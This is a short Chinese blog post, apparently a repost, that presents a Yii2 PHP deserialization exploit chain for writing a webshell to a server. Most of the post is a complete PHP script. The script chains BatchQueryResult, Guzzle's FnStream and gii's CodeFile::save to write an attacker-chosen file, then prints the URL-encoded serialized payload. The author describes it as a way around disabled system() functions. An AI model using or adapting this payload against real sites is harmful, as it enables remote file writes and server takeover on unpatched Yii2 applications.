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yii2 反序列化写 shell ⽅式利⽤ - 原创⽂章发
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潜⼼习安全

遇到个 yii 的源码刚好有漏洞，搜了⼀圈的 rce 都是调⽤ call_user_func 直接

system 这样搞
 

实际环境⼤部份 system 这些函数都是禁⽤的，于是搜了下找了个直接 getshell 的
 

vendor\yiisoft\yii2-gii\src\CodeFile.php：

exp：

<?php 
namespace yii\gii{ 
    class CodeFile { 
        protected $path = "/tmp/1"; //⽂件 
        protected $content = "test"; //内容 
    } 
} 
namespace GuzzleHttp\Psr7 { 

use yii\gii\CodeFile;
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    use yii\gii\CodeFile; 
    class FnStream { 
        var $_fn_close; 
        function __construct() { 
            $this->_fn_close = array( 
                new CodeFile(), 
                'save' 
            ); 
        } 
    } 

} 
namespace yii\db { 
    use GuzzleHttp\Psr7\FnStream; 
    class BatchQueryResult { 
        private $_dataReader; 
        public function __construct() { 
            $this->_dataReader  = new FnStream(); 
        } 
    } 
    $b = new BatchQueryResult(); 
    echo urlencode(serialize($b)); 
}

这⾥调⽤的是 GuzzleHttp\Psr7\FnStream 来执⾏，这个类基本上开发⼈员都不会

删，⽹上⼀堆⽤ phpuint 来搞的真是耽误事，这玩意⽣产环境谁会放上去啊。。。
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